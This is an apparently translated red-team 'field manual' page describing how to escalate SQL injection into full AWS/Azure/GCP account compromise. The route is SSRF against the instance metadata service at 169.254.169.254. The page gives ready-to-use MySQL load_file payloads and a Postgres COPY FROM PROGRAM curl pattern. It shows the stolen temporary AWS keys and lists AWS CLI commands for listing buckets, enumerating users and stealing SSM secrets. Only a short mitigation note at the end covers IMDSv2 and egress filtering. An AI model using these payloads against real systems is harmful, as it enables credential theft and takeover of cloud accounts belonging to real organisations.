Ir al contenido

📕 FIELD MANUAL 10.1: CLOUD NATIVE SQLi (DB TO CLOUD ADMIN)

Objective: We will escalate a SQL Injection vulnerability to compromise the entire AWS, Azure, or GCP account using SSRF (Server-Side Request...

0views

Classification: RED TEAM EYES ONLY

Objective: We will escalate a SQL Injection vulnerability to compromise the entire AWS, Azure, or GCP account via SSRF (Server-Side Request Forgery).

MITRE ATT&CK: T1526 (Cloud Service Discovery), T1078 (Valid Accounts).

In the cloud, instances (EC2, VM) have an identity. The “password” for that identity is available at a local magic URL: 169.254.169.254.

The Plan:

  1. We will use the DB as a proxy (SSRF).
  2. We will request the Instance Metadata Service (IMDS) credentials.
  3. We will log in to AWS CLI as that machine.

We will use DB functions that allow reading external files or URLs.

  • MySQL/MariaDB: SELECT load_file('http://169.254.169.254/latest/meta-data/iam/security-credentials/');
  • Postgres: COPY ... FROM PROGRAM 'curl ...'

The response from step 1 will reveal the name of the role associated with the machine.

  • DB Response: production-db-role

STEP 3: Final Extraction (The Keys to the Kingdom)

Sección titulada «PASO 3: Extracción Final (Las Llaves del Reino)»

We will concatenate the role to the URL to obtain the temporary keys.

Final Payload:

SELECT load_file('[http://169.254.169.254/latest/meta-data/iam/security-credentials/production-db-role](http://169.254.169.254/latest/meta-data/iam/security-credentials/production-db-role)');

Loot:

{
"AccessKeyId": "ASIA...",
"SecretAccessKey": "wJalrXU...",
"Token": "IQoJb3JpZ2lu..."
}

3. ESCALATION: FROM SQL TO AWS CONSOLE

Sección titulada «3. ESCALADA: DE SQL A AWS CONSOLE»
  1. We will configure: In our attacker terminal: export AWS_ACCESS_KEY_ID=ASIA...export AWS_SECRET_ACCESS_KEY=wJalrXU...export AWS_SESSION_TOKEN=IQoJb3JpZ2lu...
  2. We will validate: aws sts get-caller-identity
  3. We will exploit:
    • aws s3 ls (List buckets)
    • aws iam list-users (Enumerate users)
    • aws ssm get-parameters (Steal secrets)
  • IMDSv2: We will enforce the use of IMDSv2 in AWS. This requires a session token (PUT request) that is almost impossible to generate via a simple SQL injection (GET).
  • Egress Filtering: We will block outbound connections from the database subnet to 169.254.169.254.